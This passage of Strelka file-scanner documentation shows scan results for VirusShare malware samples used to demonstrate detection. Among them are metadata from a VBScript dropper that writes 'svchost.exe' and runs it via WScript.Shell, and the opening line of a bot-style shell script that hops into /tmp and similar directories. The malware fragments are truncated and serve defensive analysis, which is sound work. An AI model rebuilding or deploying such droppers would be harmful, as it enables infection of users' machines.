"tempfile\_directory" -- location where `tempfile` will write temporary files
\(defaults to "/tmp/"\)  
ScanOle | Extracts files from OLECF files | N/A  
ScanPdf | Collects metadata and extracts streams from PDF files | "extract\_text" -- boolean that determines if document text should be extracted as a child file \(defaults to False\)  
"limit" -- maximum number of files to extract \(defaults to 2000\)  
ScanPe | Collects metadata from PE files | N/A  
ScanPgp | Collects metadata from PGP files | N/A  
ScanPhp | Collects metadata from PHP files | N/A  
ScanPkcs7 | Extracts files from PKCS7 certificate files | N/A  
ScanRar | Extracts files from RAR archives | "limit" -- maximum number of files to extract \(defaults to 1000\)  
ScanRpm | Collects metadata and extracts files from RPM files | "tempfile\_directory" -- location where `tempfile` will write temporary files \(defaults to "/tmp/"\)  
ScanRtf | Extracts embedded files from RTF files | "limit" -- maximum number of files to extract \(defaults to 1000\)  
ScanSelf | Collects metadata from the file's internal attributes | N/A  
ScanStrings | Collects strings from file data | "limit" -- maximum number of strings to collect, starting from the beginning of the file \(defaults to 0, collects all strings\)  
ScanSwf | Decompresses swf \(Flash\) files | N/A  
ScanTar | Extract files from tar archives | "limit" -- maximum number of files to extract \(defaults to 1000\)  
ScanTnef | Collects metadata and extract files from TNEF files | N/A  
ScanUpx | Decompresses UPX packed files | "tempfile\_directory" -- location where `tempfile` will write temporary files \(defaults to "/tmp/"\)  
ScanUrl | Collects URLs from files | "regex" -- dictionary entry that establishes the regular expression pattern used for URL parsing \(defaults to a widely scoped regex\)  
ScanVb | Collects metadata from Visual Basic script files | N/A  
ScanVba | Extracts and analyzes VBA from document files | "analyze\_macros" -- boolean that determines if macros should be analyzed \(defaults to True\)  
ScanX509 | Collects metadata from x509 and CRL files | "type" -- string that determines the type of x509 certificate being scanned \(no default, assigned as either "der" or "pem" depending on flavor\)  
ScanXml | Log metadata and extract files from XML files | "extract\_tags" -- list of XML tags that will have their text extracted as child files \(defaults to empty list\)  
"metadata\_tags" -- list of XML tags that will have their text logged as
metadata \(defaults to empty list\)  
ScanYara | Scans files with YARA rules | "location" -- location of the YARA rules file or directory \(defaults to "/etc/yara/"\)  
"metadata\_identifiers" -- list of YARA rule metadata identifiers \(e.g.
"Author"\) that should be logged as metadata \(defaults to empty list\)  
ScanZip | Extracts files from zip archives | "limit" -- maximum number of files to extract \(defaults to 1000\)  
"password\_file" -- location of passwords file for zip archives \(defaults to
etc/strelka/passwords.txt\)  
## Use Cases

Below are some select use cases that show the value Strelka can add to a
threat detection tech stack. Keep in mind that these results are parsed in
real time without post-processing and are typically correlated with other
detection/response tools \(e.g. Bro, Volatility, etc.\). The file metadata
shown below was derived from files found in VirusShare torrent no. 323 and
from a test file in the MaliciousMacroBot \(MMBot\) repository.

### Extracting child files

Strelka scanners can decompress and unarchive child files from a wide variety
of common file formats, including gzip, ISO, RAR, tar, and ZIP. Child files
can also be extracted from files that are not typically thought of as file
containers, including MZ, HTML, and XML. Child files are recursively scanned
by the system and retain their relationship to parent files via unique
identifiers \(`uid`, `parent_uid`, and `root_uid`\).

Below is a partial scan result for a ZIP file that contains DLLs, MZ, and text
files -- this shows which scanner extracted the child files and the order in
which Strelka extracted them.

[code]

    "VirusShare_f87a71c7cda125599756a7440eac869d"
    "ScanZip::ImeHook.dll"
    "ScanPe::digital_signature"
    "ScanPkcs7::serial_number_161681096793302212950385451611660389869"
    "ScanPkcs7::serial_number_95367435335131489231313444090147582372"
    "ScanPkcs7::serial_number_35937092757358589497111621496656664184"
    "ScanPkcs7::serial_number_458292208492782643314715"
    "ScanPkcs7::serial_number_43358040091624116037328344820021165185"
    "ScanPkcs7::serial_number_109001353806506068745144901449045193671"
    "ScanZip::ImeHook.ime"
    "ScanPe::digital_signature"
    "ScanPkcs7::serial_number_161681096793302212950385451611660389869"
    "ScanPkcs7::serial_number_95367435335131489231313444090147582372"
    "ScanPkcs7::serial_number_35937092757358589497111621496656664184"
    "ScanPkcs7::serial_number_43358040091624116037328344820021165185"
    "ScanPkcs7::serial_number_109001353806506068745144901449045193671"
    "ScanZip::ImeLoadDll.dll"
    "ScanPe::digital_signature"
    "ScanPkcs7::serial_number_161681096793302212950385451611660389869"
    "ScanPkcs7::serial_number_95367435335131489231313444090147582372"
    "ScanPkcs7::serial_number_35937092757358589497111621496656664184"
    "ScanPkcs7::serial_number_458292208492782643314715"
    "ScanPkcs7::serial_number_43358040091624116037328344820021165185"
    "ScanPkcs7::serial_number_109001353806506068745144901449045193671"
    "ScanZip::QQXW_sync.dll"
    "ScanPe::digital_signature"
    "ScanPkcs7::serial_number_161681096793302212950385451611660389869"
    "ScanPkcs7::serial_number_95367435335131489231313444090147582372"
    "ScanPkcs7::serial_number_35937092757358589497111621496656664184"
    "ScanPkcs7::serial_number_43358040091624116037328344820021165185"
    "ScanPkcs7::serial_number_109001353806506068745144901449045193671"
    "ScanZip::QQXuanWUSyncTool.exe"
    "ScanZip::Sync.ini"
    "ScanZip::_QQXuanWUSyncTool.exe"
    "ScanPe::digital_signature"
    "ScanPkcs7::serial_number_161681096793302212950385451611660389869"
    "ScanPkcs7::serial_number_95367435335131489231313444090147582372"
    "ScanPkcs7::serial_number_35937092757358589497111621496656664184"
    "ScanPkcs7::serial_number_43358040091624116037328344820021165185"
    "ScanPkcs7::serial_number_109001353806506068745144901449045193671"
    "ScanZip::bbxcomm.dll"
    "ScanPe::digital_signature"
    "ScanPkcs7::serial_number_161681096793302212950385451611660389869"
    "ScanPkcs7::serial_number_95367435335131489231313444090147582372"
    "ScanPkcs7::serial_number_35937092757358589497111621496656664184"
    "ScanPkcs7::serial_number_43358040091624116037328344820021165185"
    "ScanPkcs7::serial_number_109001353806506068745144901449045193671"
    "ScanZip::msvcr90.dll"
    "ScanPe::digital_signature"
    "ScanPkcs7::serial_number_3914548144742538765706922673626944"
    "ScanPkcs7::serial_number_3914548144742538765706922673626944"
    "ScanPkcs7::serial_number_220384538441259235003328"
    "ScanPkcs7::serial_number_458354918584318987075587"
    "ScanPkcs7::serial_number_458441701260288556269574"
    "ScanPkcs7::serial_number_458441701260288556269574"
    "ScanPkcs7::serial_number_140958392345760462733112971764596107170"
    "ScanZip::ver.ini"
    "ScanZip::╣ñ╛▀╜Θ╔▄.txt"json
[/code]

### Identifying malicious scripts

Strelka supports scanning some of the most common types of malicious script
files \(JavaScript, VBScript, etc.\). Not only are these scripts parsed, but
they are also extracted out of relevant parent files -- for example,
JavaScript and VBScript can be extracted out of HTML files and VBA code can be
extracted out of OLE files.

Below is a partial scan result for an HTML file that contains a malicious
VBScript file that contains an encoded Windows executable file. HTML
hyperlinks are redacted to prevent accidental navigation.

[code]

    {
      "self_metadata": {
        "filename": "VirusShare_af8188122b7580b8907c76352d565616",
        "depth": 0,
        "uid": "7b9b9460-7943-4f9b-b7e0-c48653a1adbd",
        "root_uid": "7b9b9460-7943-4f9b-b7e0-c48653a1adbd",
        "hash": "5f0eb1981ed21ad22f67014b8c78ca1f164dfbc27d6bfe66d49c70644202321e",
        "root_hash": "5f0eb1981ed21ad22f67014b8c78ca1f164dfbc27d6bfe66d49c70644202321e",
        "source": "linuxkit-025000000001",
        "scanner_list": [
          "ScanSelf",
          "ScanYara",
          "ScanHash",
          "ScanEntropy",
          "ScanHeader",
          "ScanHtml"
        ],
        "size": 472513
      },
      "hash_metadata": {
        "md5": "af8188122b7580b8907c76352d565616",
        "sha1": "2a9eef195a911c966c4130223a64f7f47d6f8b8f",
        "sha256": "5f0eb1981ed21ad22f67014b8c78ca1f164dfbc27d6bfe66d49c70644202321e",
        "ssdeep": "6144:SCsMYod+X3oI+YUsMYod+X3oI+YlsMYod+X3oI+YLsMYod+X3oI+YQ:P5d+X3o5d+X3j5d+X315d+X3+"
      },
      "entropy_metadata": {
        "entropy": 4.335250015702422
      },
      "header_metadata": {
        "header": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Trans"
      },
      "html_metadata": {
        "total": {
          "scripts": 10,
          "forms": 1,
          "inputs": 1,
          "frames": 0,
          "extracted": 7,
          "spans": 11
        },
        "title": "目前学生信息已获0条得1-益民基金",
        "hyperlinks": [
          "http://[redacted].cn/",
          "http://[redacted].cn/list/8031/",
          "http://[redacted].cn/newslist/9021/",
          "http://[redacted].cn/newslist/9075/",
          "http://[redacted].cn/list/2013/",
          "http://[redacted].cn/list/6069/",
          "http://[redacted].cn/list/5082/",
          "http://[redacted].cn/list/7033/",
          "http://[redacted].cn/newslist/1019/",
          "http://[redacted].cn/newslist/8032/",
          "http://[redacted].cn/newslist/2091/",
          "http://[redacted].cn/list/8041/",
          "http://[redacted].cn/template/news/xbwseo02/static/image/magic/doodle.small.gif",
          "http://[redacted].cn/html/20180610/7201976.html",
          "http://[redacted].cn/show/20127883.html",
          "http://[redacted].cn/news/81420152.html",
          "http://[redacted].cn/show/20123664.html",
          "http://[redacted].cn/html/20180610/4201618.html",
          "http://[redacted].cn/html/20180610/9201711.html",
          "http://[redacted].cn/html/20180610/2201468.html",
          "http://[redacted].cn/show/20179372.html",
          "http://[redacted].cn/html/20180610/1201138.html",
          "http://[redacted].cn/news/43120163.html",
          "http://[redacted].cn/html/20180610/6201493.html",
          "http://[redacted].cn/show/20112973.html",
          "http://[redacted].cn/html/20180610/3201566.html",
          "http://[redacted].cn/show/20181646.html",
          "http://[redacted].cn/html/20180610/4201913.html",
          "http://[redacted].cn/news/94820125.html",
          "http://[redacted].cn/show/20111299.html",
          "http://[redacted].cn/news/18920193.html",
          "http://[redacted].com/k2.asp",
          "http://[redacted].cn",
          "http://[redacted].com/index.php",
          "http://[redacted].com",
          "http://[redacted].com/k1.php",
          "http://[redacted].com/k.asp",
          "http://[redacted].com",
          "http://[redacted].org/connect.php",
          "http://[redacted].com/k5.asp",
          "http://[redacted].com/k1.asp",
          "http://[redacted].xyz/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].xyz/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].cn/",
          "http://[redacted].com/k5.asp",
          "http://[redacted].com/index.php",
          "http://[redacted].com/index.php",
          "http://[redacted].com",
          "http://[redacted].com",
          "http://[redacted].com/index.php",
          "http://[redacted].cn/k7.php",
          "http://[redacted].com/index.php",
          "http://[redacted].com/service.php",
          "http://[redacted].com/k9.php",
          "http://[redacted].cn/sitemap.xml"
        ],
        "forms": [
          {
            "method": "post"
          }
        ],
        "inputs": [
          {
            "type": "text",
            "name": "q",
            "value": "请输入搜索内容"
          }
        ],
        "scripts": [
          {
            "src": "/template/news/xbwseo02/static/js/common.js",
            "type": "text/javascript"
          },
          {
            "src": "/template/news/xbwseo02/static/js/forum.js",
            "type": "text/javascript"
          },
          {
            "src": "/template/news/xbwseo02/static/js/forum_viewthread.js",
            "type": "text/javascript"
          },
          {
            "type": "text/javascript"
          },
          {
            "language": "VBScript"
          }
        ],
        "spans": [
          {
            "class": [
              "name"
            ]
          }
        ]
      },
      "flavors": {
        "yara": [
          "html_file"
        ],
        "mime": [
          "text/html"
        ]
      }
    },
    {
      "self_metadata": {
        "filename": "ScanHtml::script_5",
        "depth": 1,
        "uid": "153e9833-3d47-4a4d-a098-41efcc6f799e",
        "parent_uid": "7b9b9460-7943-4f9b-b7e0-c48653a1adbd",
        "root_uid": "7b9b9460-7943-4f9b-b7e0-c48653a1adbd",
        "hash": "5a07bc83f2de5cbf28fdeb25a792c41686998118c77ee45a9bb94072ab18a170",
        "parent_hash": "5f0eb1981ed21ad22f67014b8c78ca1f164dfbc27d6bfe66d49c70644202321e",
        "root_hash": "5f0eb1981ed21ad22f67014b8c78ca1f164dfbc27d6bfe66d49c70644202321e",
        "source": "ScanHtml",
        "scanner_list": [
          "ScanSelf",
          "ScanYara",
          "ScanHash",
          "ScanEntropy",
          "ScanHeader",
          "ScanVb",
          "ScanUrl"
        ],
        "size": 113073
      },
      "hash_metadata": {
        "md5": "64659f52fd89e89171af1f7d9441f2f2",
        "sha1": "763b46a4493e413f74e25b191c553a504e1ce66b",
        "sha256": "5a07bc83f2de5cbf28fdeb25a792c41686998118c77ee45a9bb94072ab18a170",
        "ssdeep": "1536:cyLi+rffMxqNisaQx4V5roEIfGJZN8qbV76EX1UP09weXA3oJrusBTOy9dGCsQSz:cyfkMY+BES09JXAnyrZalI+YG"
      },
      "entropy_metadata": {
        "entropy": 4.0084789402784775
      },
      "header_metadata": {
        "header": "<!--\nDropFileName = \"svchost.exe\"\nWriteData = \"4D5"
      },
      "vb_metadata": {
        "tokens": [
          "Token.Operator",
          "Token.Punctuation",
          "Token.Text",
          "Token.Name",
          "Token.Literal.String",
          "Token.Keyword",
          "Token.Literal.Number.Integer"
        ],
        "names": [
          "DropFileName",
          "WriteData",
          "FSO",
          "CreateObject",
          "DropPath",
          "GetSpecialFolder",
          "FileExists",
          "FileObj",
          "CreateTextFile",
          "i",
          "Len",
          "Write",
          "Chr",
          "Mid",
          "Close",
          "WSHshell",
          "Run"
        ],
        "operators": [
          "<",
          "-",
          "=",
          "&",
          "/",
          ">"
        ],
        "strings": [
          "svchost.exe",
          "4D5A900003000000[truncated]",
          "Scripting.FileSystemObject",
          "\\\\",
          "&H",
          "WScript.Shell"
        ]
      },
      "flavors": {
        "mime": [
          "text/plain"
        ],
        "external": [
          "vbscript"
        ]
      }
    }json
[/code]

### Identifying suspicious executables

Strelka supports parsing executables across Linux \(ELF\), Mac \(Mach-O\), and
Windows \(MZ\). Metadata parsed from these executables can be verbose,
including logging the functions imported by Mach-O and MZ files and the
segments imported by ELF files. This level of detail allows analysts to
fingerprint executables beyond todays common techniques \(e.g. imphash\).

Below is a partial scan result for an MZ file that shows PE metadata.

[code]

    {
      "filename": "VirusShare_0b937eb777e92d13fb583c4a992208dd",
      "depth": 0,
      "uid": "eaf645d6-bd61-4522-821f-6fadb71512a4",
      "root_uid": "eaf645d6-bd61-4522-821f-6fadb71512a4",
      "hash": "5face75de37c69e6bf496acb48c0907cbb0d12caaa42386035efc56a10f952f3",
      "root_hash": "5face75de37c69e6bf496acb48c0907cbb0d12caaa42386035efc56a10f952f3",
      "source": "linuxkit-025000000001",
      "scanner_list": [
        "ScanSelf",
        "ScanYara",
        "ScanHash",
        "ScanEntropy",
        "ScanHeader",
        "ScanExiftool",
        "ScanPe"
      ],
      "size": 1666443
    },
    {
      "total": {
        "sections": 8
      },
      "timestamp": "1992-06-19T22:22:17",
      "machine": {
        "id": 332,
        "type": "IMAGE_FILE_MACHINE_I386"
      },
      "image_magic": "32_BIT",
      "subsystem": "IMAGE_SUBSYSTEM_WINDOWS_GUI",
      "stack_reserve_size": 1048576,
      "stack_commit_size": 16384,
      "heap_reserve_size": 1048576,
      "heap_commit_size": 4096,
      "entry_point": 50768,
      "image_base": 4194304,
      "image_characteristics": [
        "IMAGE_FILE_RELOCS_STRIPPED",
        "IMAGE_FILE_EXECUTABLE_IMAGE",
        "IMAGE_FILE_LINE_NUMS_STRIPPED",
        "IMAGE_FILE_LOCAL_SYMS_STRIPPED",
        "IMAGE_FILE_BYTES_REVERSED_LO",
        "IMAGE_FILE_32BIT_MACHINE",
        "IMAGE_FILE_BYTES_REVERSED_HI"
      ],
      "imphash": "03a57449e5cad93724ec1ab534741a15",
      "imports": [
        "kernel32.dll",
        "user32.dll",
        "oleaut32.dll",
        "advapi32.dll",
        "comctl32.dll"
      ],
      "import_functions": [
        {
          "import": "kernel32.dll",
          "functions": [
            "DeleteCriticalSection",
            "LeaveCriticalSection",
            "EnterCriticalSection",
            "InitializeCriticalSection",
            "VirtualFree",
            "VirtualAlloc",
            "LocalFree",
            "LocalAlloc",
            "WideCharToMultiByte",
            "TlsSetValue",
            "TlsGetValue",
            "MultiByteToWideChar",
            "GetModuleHandleA",
            "GetLastError",
            "GetCommandLineA",
            "WriteFile",
            "SetFilePointer",
            "SetEndOfFile",
            "RtlUnwind",
            "ReadFile",
            "RaiseException",
            "GetStdHandle",
            "GetFileSize",
            "GetSystemTime",
            "GetFileType",
            "ExitProcess",
            "CreateFileA",
            "CloseHandle",
            "VirtualQuery",
            "VirtualProtect",
            "Sleep",
            "SetLastError",
            "SetErrorMode",
            "RemoveDirectoryA",
            "GetWindowsDirectoryA",
            "GetVersionExA",
            "GetUserDefaultLangID",
            "GetSystemInfo",
            "GetSystemDefaultLCID",
            "GetProcAddress",
            "GetModuleHandleA",
            "GetModuleFileNameA",
            "GetLocaleInfoA",
            "GetLastError",
            "GetFullPathNameA",
            "GetFileAttributesA",
            "GetExitCodeProcess",
            "GetEnvironmentVariableA",
            "GetCurrentProcess",
            "GetCommandLineA",
            "GetCPInfo",
            "FormatMessageA",
            "DeleteFileA",
            "CreateProcessA",
            "CreateDirectoryA",
            "CloseHandle"
          ]
        },
        {
          "import": "user32.dll",
          "functions": [
            "MessageBoxA",
            "TranslateMessage",
            "SetWindowLongA",
            "PeekMessageA",
            "MsgWaitForMultipleObjects",
            "MessageBoxA",
            "LoadStringA",
            "GetSystemMetrics",
            "ExitWindowsEx",
            "DispatchMessageA",
            "DestroyWindow",
            "CreateWindowExA",
            "CallWindowProcA",
            "CharPrevA",
            "CharNextA"
          ]
        },
        {
          "import": "oleaut32.dll",
          "functions": [
            "VariantChangeTypeEx",
            "VariantCopyInd",
            "VariantClear",
            "SysStringLen",
            "SysAllocStringLen"
          ]
        },
        {
          "import": "advapi32.dll",
          "functions": [
            "RegQueryValueExA",
            "RegOpenKeyExA",
            "RegCloseKey",
            "OpenProcessToken",
            "LookupPrivilegeValueA",
            "AdjustTokenPrivileges"
          ]
        },
        {
          "import": "comctl32.dll",
          "functions": [
            "InitCommonControls"
          ]
        }
      ],
      "resources": [
        {
          "type": "RT_ICON",
          "id": 1043,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 86796,
          "size": 296,
          "sha256": "f59f62e7843b3ff992cf769a3c608acd4a85a38b3b302cda8507b75163659d7b",
          "sha1": "4f6f7d9973b47063aa5353225a2bc5a76aa2a96a",
          "md5": "c5af786bfd9fd1c53c8fe9f0bd9ce38b",
          "language": "LANG_DUTCH",
          "sub_language": "SUBLANG_DUTCH"
        },
        {
          "type": "RT_ICON",
          "id": 1043,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 87092,
          "size": 1384,
          "sha256": "dc785b2a3e4ea82bd34121cc04e80758e221f11ee686fcfd87ce49f8e6730b22",
          "sha1": "6881cba71174502883d53a8885fb90dad81fd0c0",
          "md5": "0a451222f7037983439a58e3b44db529",
          "language": "LANG_DUTCH",
          "sub_language": "SUBLANG_DUTCH"
        },
        {
          "type": "RT_ICON",
          "id": 1043,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 88476,
          "size": 744,
          "sha256": "ca8fc96218d0a7e691dd7b95da05a27246439822d09b829af240523b28fd5bb3",
          "sha1": "b849a2b9901473810b5d74e6703be78c3a7e64e3",
          "md5": "90ed3aac2a942e3067e6471b32860e77",
          "language": "LANG_DUTCH",
          "sub_language": "SUBLANG_DUTCH"
        },
        {
          "type": "RT_ICON",
          "id": 1043,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 89220,
          "size": 2216,
          "sha256": "3bbacbad1458254c59ad7d0fd9bea998d46b70b8f8dcfc56aad561a293ffdae3",
          "sha1": "f54685a8a314e6f911c75cf7554796212fb17c3e",
          "md5": "af05dd5bd4c3b1fc94922c75ed4f9519",
          "language": "LANG_DUTCH",
          "sub_language": "SUBLANG_DUTCH"
        },
        {
          "type": "RT_STRING",
          "id": 0,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 91436,
          "size": 754,
          "sha256": "2c0d32398e3c95657a577c044cc32fe24fa058d0c32e13099b26fd678de8354f",
          "sha1": "4f9885ae629e83464e313af5254ef86f01accd0b",
          "md5": "bbf4b644f9dd284b35eb31573d0df2f7",
          "language": "LANG_NEUTRAL",
          "sub_language": "SUBLANG_NEUTRAL"
        },
        {
          "type": "RT_STRING",
          "id": 0,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 92192,
          "size": 780,
          "sha256": "840989e0a92f2746ae60b8e3efc1a39bcca17e82df3634c1643d76141fc75bb3",
          "sha1": "ff0db7d2f48d85ceb3539b21ebe9d0ca3443f1da",
          "md5": "ac2a0551cb90f91d779ee8622682dfb1",
          "language": "LANG_NEUTRAL",
          "sub_language": "SUBLANG_NEUTRAL"
        },
        {
          "type": "RT_STRING",
          "id": 0,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 92972,
          "size": 718,
          "sha256": "26bda4da3649a575157a6466468a0a86944756643855954120fd715f3c9c7f78",
          "sha1": "7375e693629ce6bbd1a0419621d094bcd2c67bb7",
          "md5": "c99b474c52df3049dfb38b5308f2827d",
          "language": "LANG_NEUTRAL",
          "sub_language": "SUBLANG_NEUTRAL"
        },
        {
          "type": "RT_STRING",
          "id": 0,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 93692,
          "size": 104,
          "sha256": "d786490af7fe66042fb4a7d52023f5a1442f9b5e65d067b9093d1a128a6af34c",
          "sha1": "249013a10cde021c713ba2dc8912f9e05be35735",
          "md5": "aec4e28ea9db1361160cde225d158108",
          "language": "LANG_NEUTRAL",
          "sub_language": "SUBLANG_NEUTRAL"
        },
        {
          "type": "RT_STRING",
          "id": 0,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 93796,
          "size": 180,
          "sha256": "00a0794f0a493c167f64ed8b119d49bdc59f76bb35e5c295dc047095958ee2fd",
          "sha1": "066052030d0a32310da8cb5a51d0590960a65f32",
          "md5": "c76a8843204c0572bca24ada35abe8c7",
          "language": "LANG_NEUTRAL",
          "sub_language": "SUBLANG_NEUTRAL"
        },
        {
          "type": "RT_STRING",
          "id": 0,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 93976,
          "size": 174,
          "sha256": "34973a8a33b90ec734bd328198311f579666d5aeb04c94f469ebb822689de3c3",
          "sha1": "1f5e4c73965fea1d1f729efbe7568dcd081a2168",
          "md5": "4bd4f3f6d918ba49d8800ad83d277a86",
          "language": "LANG_NEUTRAL",
          "sub_language": "SUBLANG_NEUTRAL"
        },
        {
          "type": "RT_GROUP_ICON",
          "id": 1033,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 94152,
          "size": 62,
          "sha256": "44b095a62d7e401671f57271e6cada367bb55cf7b300ef768b3487b841facd3c",
          "sha1": "4aa3239c2c59fa5f246b0dd68da564e529b98ff4",
          "md5": "f6262f462f61a1af1cac10cf4b790e5a",
          "language": "LANG_ENGLISH",
          "sub_language": "SUBLANG_ENGLISH_US"
        },
        {
          "type": "RT_VERSION",
          "id": 1033,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 94216,
          "size": 936,
          "sha256": "317a33004d3895b035961ccd83e22cdb39378708df0374387d389dd47f365c39",
          "sha1": "91d40710682b935fe1f3c66379901f90c444bac3",
          "md5": "6918486caeb42f838f9d8f0cc4d692dd",
          "language": "LANG_ENGLISH",
          "sub_language": "SUBLANG_ENGLISH_US"
        },
        {
          "type": "RT_MANIFEST",
          "id": 1033,
          "name": "IMAGE_RESOURCE_DATA_ENTRY",
          "offset": 95152,
          "size": 649,
          "sha256": "6cc41297efef410e2c23b74b2333cafa10b1e93e7dbcf4c683f37ad49ac1e92a",
          "sha1": "901d01bf4040d01986ed704587cb1c989d7f3b93",
          "md5": "c047a23817cac3cf4b6ade2cce0f2452",
          "language": "LANG_ENGLISH",
          "sub_language": "SUBLANG_ENGLISH_US"
        }
      ],
      "sections": [
        {
          "name": "CODE",
          "flags": [
            "IMAGE_SCN_CNT_CODE",
            "IMAGE_SCN_MEM_EXECUTE",
            "IMAGE_SCN_MEM_READ"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        },
        {
          "name": "DATA",
          "flags": [
            "IMAGE_SCN_CNT_INITIALIZED_DATA",
            "IMAGE_SCN_MEM_READ",
            "IMAGE_SCN_MEM_WRITE"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        },
        {
          "name": "BSS",
          "flags": [
            "IMAGE_SCN_MEM_READ",
            "IMAGE_SCN_MEM_WRITE"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        },
        {
          "name": ".idata",
          "flags": [
            "IMAGE_SCN_CNT_INITIALIZED_DATA",
            "IMAGE_SCN_MEM_READ",
            "IMAGE_SCN_MEM_WRITE"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        },
        {
          "name": ".tls",
          "flags": [
            "IMAGE_SCN_MEM_READ",
            "IMAGE_SCN_MEM_WRITE"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        },
        {
          "name": ".rdata",
          "flags": [
            "IMAGE_SCN_CNT_INITIALIZED_DATA",
            "IMAGE_SCN_MEM_SHARED",
            "IMAGE_SCN_MEM_READ"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        },
        {
          "name": ".reloc",
          "flags": [
            "IMAGE_SCN_CNT_INITIALIZED_DATA",
            "IMAGE_SCN_MEM_SHARED",
            "IMAGE_SCN_MEM_READ"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        },
        {
          "name": ".rsrc",
          "flags": [
            "IMAGE_SCN_CNT_INITIALIZED_DATA",
            "IMAGE_SCN_MEM_SHARED",
            "IMAGE_SCN_MEM_READ"
          ],
          "structure": "IMAGE_SECTION_HEADER"
        }
      ]
    }json
[/code]

### Identifying suspicious text

Strelka supports extracting body text from document files \(MS Word, PDF,
etc.\) and optical text from image files \(using Optical Character
Recognition, OCR\). Extracted text is treated like any other file -- it is
hashed, scanned with YARA, and parsed with text-specific scanners. This makes
it relatively easy to track patterns in phishing activity, especially when
threat actors leverage indirect methods of malware delivery \(e.g. sending the
target a hyperlink in an email body\).

Below is a complete scan result for a text file that appears to be a shell
script containing an IP address. The IP address is redacted to prevent
accidental navigation.

[code]

    {
      "self_metadata": {
        "filename": "VirusShare_1860271b6d530f8e120637f8248e8c88",
        "depth": 0,
        "uid": "c65e5d0a-3a7d-4747-93bd-7d02cb68e164",
        "root_uid": "c65e5d0a-3a7d-4747-93bd-7d02cb68e164",
        "hash": "779e4ae1ac987b1be582b8f33a300564f6b3a3410641e27752d35f61055bbc4f",
        "root_hash": "779e4ae1ac987b1be582b8f33a300564f6b3a3410641e27752d35f61055bbc4f",
        "source": "linuxkit-025000000001",
        "scanner_list": [
          "ScanSelf",
          "ScanYara",
          "ScanHash",
          "ScanEntropy",
          "ScanHeader",
          "ScanUrl"
        ],
        "size": 1856
      },
      "hash_metadata": {
        "md5": "1860271b6d530f8e120637f8248e8c88",
        "sha1": "ca5aaae089a21dea271a4a5f436589492615eac9",
        "sha256": "779e4ae1ac987b1be582b8f33a300564f6b3a3410641e27752d35f61055bbc4f",
        "ssdeep": "24:cCEDx8CPP9C7graWH0CdCBrCkxcCLlACCyzECDxHCfCqyCM:g9LPnPWesnV"
      },
      "entropy_metadata": {
        "entropy": 4.563745722228093
      },
      "header_metadata": {
        "header": "cd /tmp || cd /var/run || cd /mnt || cd /root || c"
      },
      "url_metadata": {
        "urls": [
          "[redacted]"
        ]
      },
      "flavors": {
        "mime": [
          "text/plain"
        ]
      }
    }json
[/code]

### Interacting with external systems

At release, Strelka supports sending files to a Cuckoo sandbox and sending
VBScript files to a networked instance of MMBot.

Below is a partial scan result for a document file that contains VBA/VBScript,
this shows the maliciousness prediction and metadata retrieved from MMBot.

[code]

    {
      "filename": "/samples/benign.xlsm",
      "depth": 0,
      "uid": "12db8e8b-cfea-4290-85e0-8314ec00289f",
      "root_uid": "12db8e8b-cfea-4290-85e0-8314ec00289f",
      "hash": "19f6d017bb49280e0cfb048f2c8692a7ed6290b567a00ab4f2af40da9c104871",
      "root_hash": "19f6d017bb49280e0cfb048f2c8692a7ed6290b567a00ab4f2af40da9c104871",
      "source": "linuxkit-025000000001",
      "scanner_list": [
        "ScanSelf",
        "ScanYara",
        "ScanHash",
        "ScanEntropy",
        "ScanHeader",
        "ScanExiftool",
        "ScanZip"
      ],
      "size": 10906
    },
    {
      "self_metadata": {
        "filename": "ScanVba::ThisWorkbook.cls",
        "depth": 2,
        "uid": "c32ae623-9f48-4d0e-ac48-2ca68770863c",
        "parent_uid": "13cb69ec-c7ce-433d-bd2e-14ebbfee1e3f",
        "root_uid": "12db8e8b-cfea-4290-85e0-8314ec00289f",
        "hash": "14de0425a62586687c3d59b7d3d7dc60268f989ab7e07a61403525064d98502a",
        "parent_hash": "8acef9035ae312c851f69f1cb895dfb5f987b6104cef0c0a670e69a6a678f260",
        "root_hash": "19f6d017bb49280e0cfb048f2c8692a7ed6290b567a00ab4f2af40da9c104871",
        "source": "ScanVba",
        "scanner_list": [
          "ScanSelf",
          "ScanYara",
          "ScanHash",
          "ScanEntropy",
          "ScanHeader",
          "ScanVb",
          "ScanMmbot",
          "ScanUrl"
        ],
        "size": 305
      },
      "hash_metadata": {
        "md5": "b59c5dbc9757e748ff31c4ef3478af98",
        "sha1": "4a864f065b59cd4ebe031f2cbc70aecd5331a2de",
        "sha256": "14de0425a62586687c3d59b7d3d7dc60268f989ab7e07a61403525064d98502a",
        "ssdeep": "6:YhH0shm7FWSvVG/4H3HcM25E3YRV3opedT1Xdv8SAFYDsoS:Y7gZWaVW4B25dTJaoS"
      },
      "entropy_metadata": {
        "entropy": 4.838185555972263
      },
      "header_metadata": {
